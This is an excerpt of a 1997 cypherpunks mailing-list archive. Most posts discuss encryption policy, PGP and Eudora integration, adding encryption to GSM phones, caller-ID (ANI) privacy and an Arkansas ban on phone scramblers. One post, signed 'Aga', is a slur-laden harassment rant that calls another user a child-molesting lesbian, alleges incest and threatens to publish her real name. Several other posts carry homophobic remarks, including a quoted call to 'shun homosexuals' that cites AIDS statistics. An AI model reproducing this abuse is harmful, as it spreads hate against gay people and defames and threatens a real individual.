his fellow communists would find them.  To prove the case, the plaintiff
needed FBI records requested under FOIA.  The FBI refused, citing
"national security".  Two of the judges reviewing the case sensibly
noted that dirty tricks on American citizens during the 1950s are hardly
a national security issue today.  

Ginsberg, however, wrote a chilling dissent.  He *censored* the key
parts of his dissent, because they were based on classified information.
The plaintiff was not permitted to see the heart of Ginsberg's
justification.  That's as close to a secret court as I've ever heard of
in the US.  The case was settled out of court after the FBI lost the
suit, but to this day, I think Ginsberg is the worst judge in the
Federal courts.  I remember this story from the NY Times, but I'm sure
you can find the details yourself if you're interested. 

At any rate, I would consider Ginsberg highly susceptable to "national
security" arguments by the Federal govt. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 16 Jan 1997 07:24:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: soc.culture.belarus
In-Reply-To: <9701160936.AA10669@uu.psi.com>
Message-ID: <ceNm1D8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


>From belarus@solar.rtd.utk.edu  Thu Jan 16 04:36:38 1997
Received: by bwalk.dm.com (1.65/waf)
	via UUCP; Thu, 16 Jan 97 06:36:05 EST
	for dlv
Received: from [198.78.213.165] by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via SMTP;
        id AA10669 for dlv@bwalk.dm.com; Thu, 16 Jan 97 04:36:38 -0500
Message-Id: <9701160936.AA10669@uu.psi.com>
Received: from  (LOCALHOST.rtd.utk.edu)
           by solar.rtd.utk.edu; Thu, 16 Jan 97 04:33:28 EST
Date: Thu, 16 Jan 97 04:33:28 EST
Errors-To: kasaty@seanet.com
Reply-To: belarus@solar.rtd.utk.edu
Originator: belarus@solar.rtd.utk.edu
Sender: belarus@solar.rtd.utk.edu
Precedence: bulk
From: "GWDVMS::IFEDCHE" <ifedche@gwdvms.dnet.gwdg.de>
To: Multiple recipients of list <belarus@solar.rtd.utk.edu>
Subject: RE: soc.culture.belarus
X-Listprocessor-Version: 6.0b -- ListProcessor by Anastasios Kotsikonas
X-Comment:  BELARUS issues and communication

:Can anyone tell me if soc.culture.belarus is still active? I have not been
able to access this newsgroup for a while now and my service provider hasn't
answered my question about this. I originally had to make a request to the
ISP to carry the newsgroup but after that, it was ok.
I hope it's only coincidental that I lost contact only about one day after I
placed a posting on the newsgroup.
Barry J Hilchey, <bhilchey@sympatico.ca>
PO Box 668, St Marys, Ontario, N4X 1B6, Canada:

I donn't know exactly what happend to that group,
but some time ago I had e-mail exchange with one
of the moderators. He complained that they (5 persons
or so) are sweating day and night moderating incoming
postings. It might be, therefore, that this honorable
job of censorship starved this people to death.   

Igor Fedchenia




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 16 Jan 1997 07:15:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: It's a great new year!  telemarketers and solicitors
In-Reply-To: <199701160822.AAA02684@adnetsol.adnetsol.com>
Message-ID: <BLNm1D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Ross Wright" <rwright@adnetsol.com> writes:
>
> Yeah, if everyone keeps crying and whining about "too much spam"
> "too much information freely available"  Then that's just what will
> happen.  Keep the Government out of the Internet!!!!!!

Keep homosexual censorship out of the Internet!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 16 Jan 1997 09:34:37 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: It's a great new year!  telemarketers and solicitors
Message-ID: <199701161734.JAA12596@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 16 Jan 97 at 9:03, Dr.Dimitri Vulis KOTM wrote:

> "Ross Wright" <rwright@adnetsol.com> writes:
> >
> > Yeah, if everyone keeps crying and whining about "too much spam"
> > "too much information freely available"  Then that's just what
> > will happen.  Keep the Government out of the Internet!!!!!!
> 
> Keep homosexual censorship out of the Internet!

Yeah, That too!

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scottauge@aol.com
Date: Thu, 16 Jan 1997 06:45:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive
Message-ID: <970116094424_1510150436@emout01.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



God must look kindly on lesbians then, eh?  Statistical evidence is there,
hence that must be the truth....

In a message dated 97-01-16 08:33:21 EST, you write:

> An excellent Article here, pointing out why everybody should
>  shun homosexuals to be safe and healthy.
>  
>  On Wed, 15 Jan 1997, Dr. Jai Maharaj wrote:
>  
>  > When it comes to AIDS, unless there are facts to invalidate the
following
>  > information, it is evident that the homo/bi/sexual lifestyle is
>  > overwhelmingly the most destructive among those listed:
>  > 
>  > "Who Are The Patients?
>  >    "In the United States, homosexual and bisexual males make up
>  > approximately 62 percent of the total patients. The other major group
>  > afflicted with AIDS are intravenous drug abusers -- both men and women
--
>  > who constitute 20 percent of the total. . . ."
>  > 
>  > "ADULTS AND ADOLESCENTS WITH AIDS, 1981-87
>  > ==================================  Males  %  Females  %  Both sexes   %
>  > Homosexual/bisexual males          50,325 68           0      50,325  62
>  > Intravenous (IV) drug abusers      12,529 17    3,622 52      16,151  20
>  > Homosexual male an IV drug abusers  5,874  8                   5,874   7
>  > Hemophilia/coagulation disorder       751  1       22  0         773   1
>  > Heterosexuals                       1,516  2    2,073 30       3,589   4
>  > Blood transfusion                   1,297  2      747 11       2,044   3
>  > Undetermined (1)                    2,143  3      519  7       2,662   3
>  > TOTAL                              74,435 91    6,983  9      81,418 100
>  >
=========================================================================
>  > "Note:  Provisional data.  Cases with more than one risk factor than the
>  > combinations listed are tabulated only in the category listed first.
>  > (1) Includes patients on whom risk information is incomplete, patients
>  > still under investigation, men reported only to have had heterosexual
>  > contact with a prostitute, and patients for whom no specific risk was
>  > identified; also includes one health care worker who developed AIDS
after
>  > a documented needle-stick to blood. Source: Centers for Disease
Control."
>  >
=========================================================================
>  > Cited in "The Universal Almanac 1990", Andrews and McMeel, 1989.
>  >
=========================================================================
>  > 
>  > Readers are invited to post data supporting or opposing the above.
>  > 
>  > Jai Maharaj
>  > jai@mantra.com
>  > Om Shanti
>  > 
>  
>  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Thu, 16 Jan 1997 09:56:04 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Finally a good Eudora/PGP integration under Win32
In-Reply-To: <3.0.32.19970115224214.006b1584@192.100.81.126>
Message-ID: <Pine.GSO.3.95.970116095135.18586A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 15 Jan 1997, Lucky Green wrote:

> If you are an Eudora user on Win32, you want to take a look at PGPMail. It
> is the best integration of the two products I have seen so far. By a wide
> margin.
> 
> The free beta software is at http://www.pgp.com/products/PGPmail-beta.cgi

It looks pretty good, but the beta I downloaded last night did not have
the plug-in install file as described in the help file.  I need to read
the manual and find out what it takes to install by hand.

It looks very promising though.

(They are also going to be doing a one time deal for PGP 2.6.2 users and
offering the software for about $30.00.  The full version is about $120.00
or so.  (Memory is not working 100% this morning...  Need more coffee.))






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Thu, 16 Jan 1997 10:04:24 -0800 (PST)
To: tmo9d@virginia.edu
Subject: Re: How to crack
Message-ID: <199701161802.KAA08524@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain


> 
> Hi, my name is Tod, and I really want to be a cool hacker, ...

This has *got* to be a troll.  Nobody could be this clueless.


Well, actually, they could.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scottauge@aol.com
Date: Thu, 16 Jan 1997 07:03:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Newt may be more receptive to encryption now
Message-ID: <970116095948_1444710331@emout10.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain



Given his troubles with this "hay seed" scanner recording democrats, ol' Newt
may be more receptive to encryption.

Our privacy certainly is getting trashed by this presidency and I am hoping
an impeachment is coming down the line.

Since the congress is who makes the laws, maybe we all can focus some snail
mail to these guys.

Perhaps EFF could even draft some laws for our protection (what a joke - just
to keep busy body beaurocrats outta our business).

What does it matter anyhow, these guys dont read their own 300 - 5000 page
laws anyhow....

Hopeless....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Thu, 16 Jan 1997 10:07:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DCSB: The Internet Consumer -- 1996 in Review & Predictions for 	 1997
Message-ID: <199701161805.KAA08526@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



> 
> Robert Hettinga wrote:
> > I fished this out of my killfile. Ironically, I had just plonked Toto
> > yesterday because I saw no compelling merit in anything he has posted to
> > cypherpunks since he got here, and given the quantity of his posts, he was
> > starting to waste my attention. However, this morning, as my mail was
> > coming down in Eudora, I saw that he had replied to this month's DCSB
> > announcement, and, frankly, I knew that it had to be something like this.
> 
>   Why do people feel compelled to 'explain' how they 'chanced'
> to read items in their 'killfile'? It always seems to me to be
> for the purpose of insulting someone while keeping egg off of
> their own face.

Well, I can't speak for R.H., but in my own case, my KILLfile entries
typically look like

	/toto/f:=:j

which displays the subject lines as it junks the articles.  Sometimes
I'll see one go by which interests me, so I'll go back and read it
anyway.

Similarly, people who've been plonked are often quoted in somebody
else's message, so I see it anyway.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@Cor.sos.sll.se>
Date: Thu, 16 Jan 1997 01:03:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
In-Reply-To: <199701121640.QAA00188@server.test.net>
Message-ID: <Pine.HPP.3.91.970116094730.28526B-100000@cor.sos.sll.se>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 12 Jan 1997, Adam Back wrote:

>GSM includes A5 encryption here, so basically the whole design is worked out
>- all you'd have to do is rip out the A5 chip and replace with a decent
>encryption system.  Anyone know how modular the design is, for instance if
>it would be possible to give a GSM A5 based cell phone a crypto upgrade
>using published electrical interface standards?  (I want one of those -
>Nokia phone with IDEA + 2048 bit RSA signatures + DH forward secrecy!)

I don't understand what you are getting at here.
This would demand cooperation from the cell phone provider,
with a compatible device at the other end of the airwaves.
Then the call would go unencrypted through much of the
system until it reached the callee's current cell sender
anyway. GSM is alledgedly A5 encrypted only in the air.

And if A5 is a 'decent' algorithm or not is up to discussion.
It hasn't been up on the list for a long time now but from
earlier discussions I remember that the latest versions of
A5, if not 'strong' in a crypto anarchy sense, are susceptible
to attack only from very sophisticated adversaries and certainly
not from Newt's 'couple'.

Asgaard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 16 Jan 1997 08:36:39 -0800 (PST)
To: Scottauge@aol.com
Subject: Re: Newt may be more receptive to encryption now
In-Reply-To: <970116095948_1444710331@emout10.mail.aol.com>
Message-ID: <Pine.GSO.3.95.970116113332.7821C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


I think what's important to stress is that technical fixes work, laws
don't.

Net-advocates in DC are already planning to suggest to Republicans that
they use crypto as a hammer to nail Gore (the chief White House supporter
of the current policy) and draw votes and cash from Silicon Valley.

-Declan


On Thu, 16 Jan 1997 Scottauge@aol.com wrote:

> 
> Given his troubles with this "hay seed" scanner recording democrats, ol' Newt
> may be more receptive to encryption.
> 
> Our privacy certainly is getting trashed by this presidency and I am hoping
> an impeachment is coming down the line.
> 
> Since the congress is who makes the laws, maybe we all can focus some snail
> mail to these guys.
> 
> Perhaps EFF could even draft some laws for our protection (what a joke - just
> to keep busy body beaurocrats outta our business).
> 
> What does it matter anyhow, these guys dont read their own 300 - 5000 page
> laws anyhow....
> 
> Hopeless....
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 16 Jan 1997 11:50:23 -0800 (PST)
To: Alan <alano@teleport.com>
Subject: Re: Finally a good Eudora/PGP integration under Win32
Message-ID: <3.0.32.19970116114943.006ae32c@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 09:55 AM 1/16/97 -0800, Alan wrote:
>On Wed, 15 Jan 1997, Lucky Green wrote:
>
>> If you are an Eudora user on Win32, you want to take a look at PGPMail. It
>> is the best integration of the two products I have seen so far. By a wide
>> margin.
>> 
>> The free beta software is at http://www.pgp.com/products/PGPmail-beta.cgi
>
>It looks pretty good, but the beta I downloaded last night did not have
>the plug-in install file as described in the help file.  I need to read
>the manual and find out what it takes to install by hand.

It is a bug in the manual :-) The plugins are already installed by the main
installer. If you can't find the buttons in Eudora, it is because they are
in a different location than you think they are.

Look next to the "Queue" button. PGP should make this clearer in their docs.

BTW, I am I the only one who's text does't wrap when emailing to UNIX
boxes? I have wrapping turned on...

Great program, though.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Russell/SYBASE <Ryan.Russell@sybase.com>
Date: Thu, 16 Jan 1997 11:48:55 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Privacy Issue (ANI in SF Bay Area)
Message-ID: <199701161947.LAA26644@notesgw2.sybase.com>
MIME-Version: 1.0
Content-Type: text/plain


Here's something cute:

Yesterday PacBell turned on ANI on our trunk groups, for 
local area calls.  On their own, mind you, without request 
from us.  If you call anyone here with a display phone,
it displays your number, even if you have caller-id
blocking on or you do a *70 (for those who don't know,
ANI is not caller-id, you can't block your number
from being displayed with ANI.)

It also grabs your phone number if you leave a voice mail,
so even folks without display phones can benefit.

I post this thinking it may be of interest.  I actually
disagree that people ought to be able to block 
their number.  My feeling is that if someone is calling
me, they have no right be anonymous.  Of course, I
realize that this is easy to defeat with call forwarding and such..
In fact, if I call you from my work phone..you won't see
my direct dial number...you'll see a number for PacBell's
trunk group.

Now...I just have to figure out how PacBell is charging us..
if it's .01$ per call like regular ANI...at 100,000 calls per day..
Hmm...first fix is free?  A new PacBell marketing program?
Our CIO loves the new "feature."

    Ryan




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@pobox.com>
Date: Thu, 16 Jan 1997 08:53:01 -0800 (PST)
To: BlackSunday@Hell.DOA (+Sabbath+)
Subject: Re: How to crack
In-Reply-To: <32DDDBE2.7C2C@Hell.DOA>
Message-ID: <199701161653.LAA30115@gate.cybernex.net>
MIME-Version: 1.0
Content-Type: text/plain


An entity claiming to be +Sabbath+ wrote:
: 
: Tim ,Tod, whatever:
: 
: 
: 	The list is for Hackers & Crackers. Since you made the famous Dumbshit
: Statement " I want to be a Hacker" Your first hack test is trying to get
: off the list.
: 

Hackers and Crackers, huh?  News to me.  This list is supposed to be 
for the discussion of crypto, but I think Tim || Tod was more accurate
in implying that it has become a dumping ground for mass marketing.

mark

PS --  No one chooses to be a hacker, you are or you aren't.  The
hacker in the crowd is the kid who took apart the toaster to see how
it worked.  I am of course not using the media version of the term.

-- 
[]  Mark Rogaski                    || "Computers save time like kudzu    [] 
[]  wendigo@pobox.com               ||  prevents soil erosion."           [] 
[]  http://www.pobox.com/~wendigo/  ||           - afcasta@texas.net      []
[]  >> finger for PGP pubkey <<     ||                                    []




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 19 Jan 1997 05:31:18 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: GSM crypto upgrade? (was Re: Newt's phone calls)
In-Reply-To: <853575672.913148.0@fatmans.demon.co.uk>
Message-ID: <199701161239.MAA00283@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> > encryption system.  Anyone know how modular the design is, for instance if
> > it would be possible to give a GSM A5 based cell phone a crypto upgrade
> > using published electrical interface standards?  (I want one of those -
> > Nokia phone with IDEA + 2048 bit RSA signatures + DH forward secrecy!)
> 
> My guess is that this would not work.
> 
> Does anyone know if when you use a GSM phone to call a landline 
> number the cellphone<-> base station trafic is encrypted???
> 
> my guess is that only when you call GSM to GSM is the trafic 
> encrypted and even then I would imagine each phone agrees a key with 
> the base station for the network then the trafic between the base 
> stations is cleartext. The only way, if this were the case, would be 
> to write the code so that the headers and other network information 
> like SIM ID number etc... were cleartext or just A5 to the network as 
> standard and only the actual speech data was encrypted under 
> something stronger. This approach could become troublesome, 
> if I have time I`ll get hold of some GSM specifications and look at 
> it more closely.

All you've got to do is super-encrypt the IDEA encrypted traffic with
the standard A5 hardware - the base station won't notice the
difference.

Schematically, standard GSM hardware:

                       +-------------+
      +-----------+    | compress/   |        +------------+
  <-->| A/D & D/A |<-->| decompress  |<------>| A5 enc/dec |<-->
      +-----------+    +-------------+        +------------+


schematically, adding a super-encryption layer:

                       +-------------+
      +-----------+    | compress/   |        +------------+
  <-->| A/D & D/A |<-->| decompress  |<-|  |->| A5 enc/dec |<-->
      +-----------+    +-------------+  |  |  +------------+
                                        v  v
                                  +-------------+
                                  | IDEA/RSA/DH |
                                  +-------------+


So the question was (addressed to anyone who knows anything about the
electrical interfaces used in GSM) about standardisation of electrical
interfaces -- for instace if the electrical interface between the
voice compression/decompression IC and A5 IC were standardised, you
could build a replacement voice codec IC which performed IDEA/RSA/DH
as well as standard the voice codec function, and had the same pin
out.  This IC would allow a wide range of GSM phones to be upgraded
with minimal effort on the part of GSM phone manufacturers -- or even
desoldered and replaced by end users, or crypto hardware company.

However, there are several reasons why it would probably require
proper integration into a GSM phone design:

- keys tied to phone number memories
- display of signature result on screen
- PIN for phone's RSA signature keys
- face to face key exchange
- key revocation
- generating new keys

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: thad@hammerhead.com (Thaddeus J. Beier)
Date: Thu, 16 Jan 1997 13:21:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ARKANSAS BANS PHONE SCRAMBLERS
Message-ID: <199701162123.NAA07816@hammerhead.com>
MIME-Version: 1.0
Content-Type: text/plain



 
jcr@idiom.com ("John C. Randolph") quotes Charles R. Smith
> IMMEDIATE ATTENTION 
> The Arkansas Police have declared that is is illegal to own, use, or
> possess RSU product #11265113, a fully assembled
> descrambler/scrambler, in the State of Arkansas.  Tandy Corporation's
> legal department is researching this and the product has been removed
> from RSU distribution.  DO NOT take order or sell this product until
> this situation can be resolved.

I called the Arkansas State Police, 501-221-8200, to try to verify this,
and they're "going to have somebody call me back."  I'm not holding my
breath...

If anybody has a definative source on this, I'd love to see it; it's
mindboggling.

thad
-- Thaddeus Beier                     thad@hammerhead.com
   Visual Effects Supervisor                408) 287-6770
   Hammerhead Productions  http://www.got.net/people/thad




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Thu, 16 Jan 1997 13:21:32 -0800 (PST)
To: "John C. Randolph" <jcr@idiom.com>
Subject: Re: ARKANSAS BANS PHONE SCRAMBLERS
Message-ID: <v02140b04af0421fda308@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>It figures.  It's Fuehrer Clinton's home state, isn't it?
>
>Somedays, this shit just makes me want to give up on the USA, and
>emigrate to Anguila.
>
Have you spent time in Anguila?  I have.  As a visitor its a very safe,
friendly, family-oriented society.  But as a resident the picture is
somewhat different due to a certain cliqish-ness and small-country
mentality (e.g., the exclusive arrangement of Cable & Wireless).  Don't get
me wrong I love the place.  It certainly a world apart from St. Martin/Sint
Maarten only 8 miles distant.

>-jcr
>
>begin forwarded message:
>
>Date:  January 15, 1997
>To:  All RadioShack Stores
>From:  RadioShack Communications
>Subject:  URGENT PRODUCT NOTIFICATION
>Memo Id:  8216
>
>IMMEDIATE ATTENTION
>The Arkansas Police have declared that is is illegal to own, use, or
>possess RSU product #11265113, a fully assembled
>descrambler/scrambler, in the State of Arkansas.  Tandy Corporation's
>legal department is researching this and the product has been removed
>from RSU distribution.  DO NOT take order or sell this product until
>this situation can be resolved.
>

I'm sure this represents an interference in interstate commerce and won't
stand up in court.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Aga <aga@dhp.com>
Date: Thu, 16 Jan 1997 05:43:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Naughty, naughty...
In-Reply-To: <5apke4$alu@dfw-ixnews3.ix.netcom.com>
Message-ID: <5blb8p$nt4@stronghold.dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Follower of the Clawed Albino <afn23950@afn.org> wrote:

In all of the years I have been on UseNet, this has to be
the DUMBEST Cunt I have ever seen!

: -----BEGIN PGP SIGNED MESSAGE-----

: In article <qum4tgoil06.fsf@cyclone.stanford.edu>,
: Russ Allbery <rra@cs.stanford.edu> carved on the cave wall:
: > 
: > Wrong.  You didn't look far enough (and please read the whole thread; I
: > explicitly explained this).  From <URL:http://www.dhp.com/helpus.html>:
: > 
: >    So you want an account? Send us cash/check/money order (in US funds
: >    please), whatever your preferred method of payment is (sorry, no
: >    credit cards, yours or others, please no netcom lists). Include with
: >    it what you want as a login name, what you want as an initial
: >    password, and optionally a way to contact you. If you would like us to
: >    contact you when the account has been created, tell us, if not expect
: >    it to take less than a week after you mail it if you are inside the
: >    US. We don't require any postive way to identify you, your privacy is
: >    important to us.
: > 
: > In other words, you can send them cash in an unmarked envelope and they'll
: > create an account.  No paper trail.  No billing address.  It's anonymous.

: *ack*

: Hadn't gotten the entire thread on my system when I replied...thanks for 
: the correction.  (Yes, I can admit when I fuck up. :)  At least last time
: I saw the page (June-ish?) I thought I remembered their stating they accepted
: credit cards...ah well, yes, I can be wrong on occasion. :)

You fuck up when you molest those little boys and get caught.
And are you still fucking your Father for those pictures?

: However, unless you sent them a twenty-dollar bill a month directly 
: placed in their postal box, wouldn't it at least have the postal office
: address stamped on it?  (At least it has the office stamped on the postmarks
: in Louisville...)  Not saying it does or doesn't, just wondering.

Just shut up and go away, you perverted child-molesting lesbian.
We are soon going to have you arrested for harassment by communication,
and you will be off the net for good.  Both IBM net and black-hole
are helping to prosecute you.

: Also, wouldn't this make it difficult to trace someone if someone was 
: delinquent in payment?  Or, for that matter, if someone was forging someone
: else's name on a money order, etc.?  (I'm not saying they have trouble with
: this, or even give a damn--just musing potential problems with not verifying
: who is sending payment, etc.  Understood they're trying to provide 
: pseudonymous accounts and all, but they could always state that stuff like
: snail-addresses, etc. wouldn't be turned over save by court order.  Hell,
: even most freenets require at least some sort of verification anymore :)
: (whether it be a valid mail address, something you have to mail in, or on
: some occasions copies of photo ID and such).)

: (Not that that part has any relation at all re net.abusers at dhp.com--
: they don't have to know EXACTLY who it is, they can just shut down the
: account.  Khijol.org, who offers pseudonymous accounts for the alt.support.*
: groups, does have a rather strong AUP that states that misuse of the system
: (for threats or net.abuse, among other things) can lead to nukage, can do 
: this fairly well.)

There are NO net-abusers at DHP.com, and it is the most respectable ISP
on the net.  They are not going to get pushed around by dumb cunts like you,
as you always try to do with postmasters.  But after we tell them all about 
you, they just laugh it all off.   Remember, I have ten Criminal Lawyers in
my Organization, and you have none.

Just what are you going to do in jail, cunt? -- when you have no more
little boys and girls to molest?

: In any case, this brings up a separate issue entirely on accounts and such.
: (Namely, how exactly can one run a pay pseudonymous account service with the
: maximum privacy protection, yet allow for closing accounts and, possibly,
: proscecution if someone is committing flagrant net.abuse, especially to 
: the point of being illegal?)

You are the illegal one, you stupid cunt.
It is illegal to complain to any postmaster about
any usenet posting, as that is "harassment by commmmunication," and we are 
going to have you prosecuted for that.  Perverted dykes like you who 
molest children as a hobby are about to get kicked off this mans UseNet.

: > -- 
: > Russ Allbery (rra@cs.stanford.edu)      <URL:http://www.eyrie.org/~eagle/>

Well Russ, too bad you listen to this dumb cunt.
You used to have potential, but you have lost it. it seems.
 
: - --
: - -Windigo The Feral (NYAR!)              

This girl is a verified child-molester and she has been SEEN having
sex with her Father and another man.  I am not going to respond to
filthy lesbian sluts like this any more.

See you in Court, Cunt.  I am keeping track of every postmaster that
you complain to, and telling them all what a sleazy wacko lesbian
trouble-maker that you are.  One of these days, we will get your REAL
name and plaster it all over this InterNet. In the meantime, we 
laugh at you on the telephone when we talk about you, and everybody 
knows by now that you know nothing about the law and are just full of shit.

Bye, you slut-cunt lesbian child-molesting whore.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 16 Jan 1997 11:01:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: DCSB: The Internet Consumer -- 1996 in Review & Predictions 	for 	 1997
In-Reply-To: <199701161805.KAA08526@peregrine.eng.sun.com>
Message-ID: <v03007808af042a232676@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:05 pm -0500 1/16/97, Ed Falk wrote:
>Well, I can't speak for R.H., but in my own case, my KILLfile entries
>typically look like
>
>	/toto/f:=:j
>
>which displays the subject lines as it junks the articles.

And, in my case, Eudora displays each message in the status window as it's
bringing something down from the POP server, and again as it filters.

>Similarly, people who've been plonked are often quoted in somebody
>else's message, so I see it anyway.

So it seems...

:-).

So, Toto, you're not in "Cansas" any more. It's called a "Trash" folder.



Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Thu, 16 Jan 1997 14:14:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Privacy Issue (ANI in SF Bay Area)
In-Reply-To: <199701161947.LAA26644@notesgw2.sybase.com>
Message-ID: <32DEA7D9.510@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Can I (or you) send this to comp.decom.telecom and comp.risks?
If true, this merits wider distribution, but I don't want to cause
you any trouble. Then again, I don't see your email address...

-rich

Ryan, Russell/SYBASE wrote:
> 
> Here's something cute:
> 
> Yesterday PacBell turned on ANI on our trunk groups, for
> local area calls.  On their own, mind you, without request
> from us.  If you call anyone here with a display phone,
> it displays your number, even if you have caller-id
> blocking on or you do a *70 (for those who don't know,
> ANI is not caller-id, you can't block your number
> from being displayed with ANI.)
> 
> It also grabs your phone number if you leave a voice mail,
> so even folks without display phones can benefit.
> 
> I post this thinking it may be of interest.  I actually
> disagree that people ought to be able to block
> their number.  My feeling is that if someone is calling
> me, they have no right be anonymous.  Of course, I
> realize that this is easy to defeat with call forwarding and such..
> In fact, if I call you from my work phone..you won't see
> my direct dial number...you'll see a number for PacBell's
> trunk group.
> 
> Now...I just have to figure out how PacBell is charging us..
> if it's .01$ per call like regular ANI...at 100,000 calls per day..
> Hmm...first fix is free?  A new PacBell marketing program?
> Our CIO loves the new "feature."
> 
>     Ryan




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Yiango-George Yiangoullis [YiST]" <eleni@cytanet.com.cy>
Date: Thu, 16 Jan 1997 05:06:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: How to crack
Message-ID: <1.5.4.32.19970116130620.00664404@mail.cytanet.com.cy>
MIME-Version: 1.0
Content-Type: text/plain


At 12:37 AM 16/01/97 -0500, you wrote:
>>X-Persona: <AquaDeath>
>>Date: Wed, 15 Jan 1997 21:21:54 +0000
>>From: "Tim O'Brien" <tmo9d@virginia.edu>
>>Organization: University of Virginia
>>To: cypherpunks@toad.com
>>Subject: How to crack
>>Sender: owner-cypherpunks@toad.com
>>
>
>Thanks for your wonderful insight, next time keep it to yourself.
>
>>Hi, my name is Tod, and I really want to be a cool hacker, so I joined
>>this crap mailing list called cypherpunks.  
>>
>>
>>
>>Blah Blah Blah, you guys don't know anything...Prove yourself and I may
>>let you in.  This mailing list is for people who want to sell goods
>>nothing else.....
>>
>>
>
>
 Yiango-George Yiangoullis
 eleni@cytanet.com.cy
 http://www.geocities.com/SiliconValley/2208/index.htm	

  --====--
   Student :  I hear that fish is brain food.
   Roommate:  Yeah, I eat it all the time.
   Student :  Well, there goes another theory.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Rockefeller <dozer@megan.netwizards.net>
Date: Thu, 16 Jan 1997 15:28:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A Special Offer!
In-Reply-To: <3.0.32.19970116172801.00965980@toad.com>
Message-ID: <199701162323.PAA10778@megan.netwizards.net>
